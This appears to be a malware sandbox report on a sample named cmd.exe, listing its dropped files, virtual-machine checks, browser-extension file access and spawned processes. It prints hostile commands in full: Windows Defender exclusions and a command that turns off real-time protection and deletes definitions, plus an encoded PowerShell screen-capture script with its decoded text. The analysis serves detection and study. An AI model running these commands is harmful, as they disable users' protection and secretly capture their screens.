Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\cmd.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17250

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 3705 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep count: 2946 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 2984 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8096	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 675 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8332	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6452	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8384	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8060	Thread sleep count: 2639 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep count: 1260 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3624	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8824	Thread sleep count: 4345 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8820	Thread sleep count: 206 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8816	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8784	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF70AEF83B0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEF92F0 FindFirstFileExW,FindClose,	0_2_00007FF70AEF92F0
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF118E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF70AF118E4
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4046EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	65_2_00007FF69A4046EC
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A3FE21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	65_2_00007FF69A3FE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A4488E0 FindFirstFileExA,	65_2_00007FF69A4488E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg

Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtrayZ
Source: getmac.exe, 00000031.00000002.1843041975.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF11C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer4
Source: WMIC.exe, 0000001F.00000003.1806334380.000001E251AEA000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 0000001F.00000003.1806502468.000001E251AEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qeMU)
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 00000031.00000003.1840629752.000001E8EF11C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: svchost.exe, 0000001C.00000002.2946017704.00000240CA658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2945962404.00000240CA641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.2944570569.00000240C502B000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1843041975.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxserviceZ
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer4Z
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: cmd.exe, 00000001.00000003.2091061273.000001C916C6C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1934604967.000001C9172EB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1934604967.000001C917269000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: cmd.exe, 00000001.00000003.1716177022.000001C916988000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2097860677.000001C916930000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvcZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuserZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: getmac.exe, 00000031.00000002.1843041975.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWRoot%\system32\dy
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-gaZ
Source: getmac.exe, 00000031.00000003.1840990615.000001E8EF14F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1843041975.000001E8EF152000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExportD
Source: getmac.exe, 00000031.00000003.1840990615.000001E8EF14F000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000002.1843041975.000001E8EF152000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 00000031.00000003.1840629752.000001E8EF13C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvcZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwarec
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretrayZ
Source: cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\cmd.exe

Code function: 0_2_00007FF70AEFD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF70AEFD19C

Source: C:\Users\user\Desktop\cmd.exe

Code function: 0_2_00007FF70AF134F0 GetProcessHeap,

0_2_00007FF70AF134F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEFD37C SetUnhandledExceptionFilter,	0_2_00007FF70AEFD37C
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEFD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF70AEFD19C
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AEFC910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF70AEFC910
Source: C:\Users\user\Desktop\cmd.exe	Code function: 0_2_00007FF70AF0A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF70AF0A684
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A444C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	65_2_00007FF69A444C10
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A43B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	65_2_00007FF69A43B52C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A43A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	65_2_00007FF69A43A66C
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Code function: 65_2_00007FF69A43B6D8 SetUnhandledExceptionFilter,	65_2_00007FF69A43B6D8

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
